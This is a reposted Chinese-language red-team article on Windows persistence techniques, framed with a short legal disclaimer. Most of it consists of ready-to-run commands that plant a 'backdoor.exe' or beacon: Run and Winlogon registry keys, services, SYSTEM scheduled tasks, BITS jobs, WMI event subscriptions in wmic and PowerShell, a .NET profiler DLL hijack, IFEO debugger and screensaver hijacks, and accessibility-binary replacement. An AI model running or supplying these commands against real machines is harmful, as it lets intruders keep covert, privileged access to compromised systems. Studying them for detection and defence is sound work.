攻防对抗下的Windows权限维持手法

admin 2026-02-08 01:24:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章系统介绍了Windows权限维持的多种技术手段,包括开机启动项、注册表修改、系统服务、计划任务、BITS管理、WMI事件订阅、.NET程序劫持、组策略、文件关联、屏保、IFEO映像劫持及辅助功能劫持等。文中包含具体的注册表路径与命令示例,具有较强的实战操作性和参考价值,适合红队及渗透测试人员学习。 综合评分: 85 文章分类: 红队,内网渗透,渗透测试


cover_image

攻防对抗下的Windows权限维持手法

原创

Hyyrent Hyyrent

0xSecurity

2026年2月6日 12:03 广东

开机启动项

目录(直接将exe放到该目录下)

C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

注册表(指向exe所在位置)

Run 和 RunOnce 注册表项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 需要高权限
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Winlogon\Userinit 键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
Environment 注册表项
HKEY_CURRENT_USER\Environment
添加方式示例
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "test" /t REG_SZ /d "backdoor.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "backdoor.exe," /f
reg add HKEY_CURRENT_USER\Environment /v "UserInitMprLogonScript" /t REG_SZ /d "backdoor.exe" /f

添加服务

1. 直接添加服务,并指向自己马的位置

sc create xxsvc binpath= "cmd /c start c:\frontend.exe" type= share start= auto displayname= "xxxx"

2. 添加svchost启动的服务(需要写特定的服务dll)

sc create xxSvc binpath= "C:\WINDOWS\system32\svchost.exe -k xxx" type= share start= auto displayname= "xxx"

再修改服务注册表:

reg add "HKLM\SYSTEM\CurrentControlSet\services\WintSvc\Parameters" /v ServiceDLL /t REG_EXPAND_SZ /d "%SystemRoot%\System32\backdoor.dll" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v xxx /t REG_MULTI_SZ /d "xxSvc" /f

计划任务(低权限)

At适用于Windows XP/2003,Schtasks适用于Win7/2008及以后。

在每个工作日的0点执行backdoor.exe

at 00:00 /every:M,T,W,Th,F cmd /c backdoor.exe

以system权限,每天早上5:30运行backdoor.exe

schtasks /CREATE /F /RU SYSTEM /RL HIGHEST /SC DAILY /ST 05:30 /TN \Microsoft\Windows\xx /TR c:\backdoor.exe

bitsadmin(低权限)

通过bitsadmin创建一个backdoor作业(重启有效)。(适用Win 7及以后版本)

bitsadmin /create backdoor
bitsadmin /addfile backdoor C:\windows\system32\calc.exe %USERPROFILE%\calc.exe
bitsadmin /SetNotifyCmdLine backdoor C:\1.exe NUL
bitsadmin /resume backdoor

列出所有任务

bitsadmin /list /allusers /verbose

WMI 事件订阅

方法一

注册一个 WMI 事件过滤器(为特定事件选择触发器)
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
注册一个 WMI 事件消费者(代表一个事件触发时所执行的操作)
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BugSecConsumer", CommandLineTemplate="C:\backdoor.exe"
将事件消费者绑定到事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"', Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'

方法二(PowerShell)

$filterName='SD'
$consumerName='SDD'
$exePath='C:\beacon.exe'
$Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

$WMIEventFilter=Set-WmiInstance-Class__EventFilter-NameSpace"root\subscription"-Arguments@{Name=$filterName;EventNamespace="root\cimv2";QueryLanguage="WQL";Query=$Query}

$WMIEventConsumer=Set-WmiInstance-ClassCommandLineEventConsumer-Namespace"root\subscription"-Arguments@{Name=$consumerName;CommandLineTemplate=$exePath}

Set-WmiInstance-Class__FilterToConsumerBinding-Namespace"root\subscription"-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

劫持 .NET 程序(低权限)

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"

x64

REG.EXE ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /ve /t REG_SZ /d "C:\backdoor.dll" /f
REG.EXE ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

x86

REG.EXE ADD "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /ve /t REG_SZ /d "C:\backdoor.dll" /f
REG.EXE ADD "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

以此劫持所有32位和64位的.NET程序。(例如当用户打开PowerShell,这类.NET程序时就会加载dll)

添加后,需要用户重新登录或重启。

组策略

gpedit.msc 添加启动脚本

文件关联(低权限)

文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的”打开方式”进行关联选择。(Win11 不适用)

修改对应注册表的值

reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe" /f

屏幕保护程序(低权限)

设置屏保程序为指定值。在对方开启屏幕保护的情况下,触发屏保时执行。(触发时间由注册表的ScreenSaverTimeout值决定)

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d backdoor.exe /f

IFEO映像劫持

当运行程序时,系统会在IFEO注册表中查询有无该程序的键值。如果有,就会查询其debugger子键值,如果该参数不为空,系统则会执行Debugger参数里指定的程序。

例如添加iexplore.exe的Debugger值为cmd.exe,那么在启动IE的时候,就会执行cmd.exe。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "backdoor.exe" /f

辅助功能劫持

在锁屏界面劫持辅助功能

  • 屏幕键盘C:\Windows\System32\osk.exe
  • 放大镜C:\Windows\System32\Magnify.exe
  • 旁白C:\Windows\System32\Narrator.exe
  • 显示切换器C:\Windows\System32\DisplaySwitch.exe
  • 应用切换器C:\Windows\System32\AtBroker.exe

Windows 2003或XP直接把上面这些位置的exe替换成cmd.exe即可。(2008和Win7及以上,需要TrustedInstaller权限才能覆盖和删除)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity Hyyrent Hyyrent《攻防对抗下的Windows权限维持手法》

评论:0   参与:  0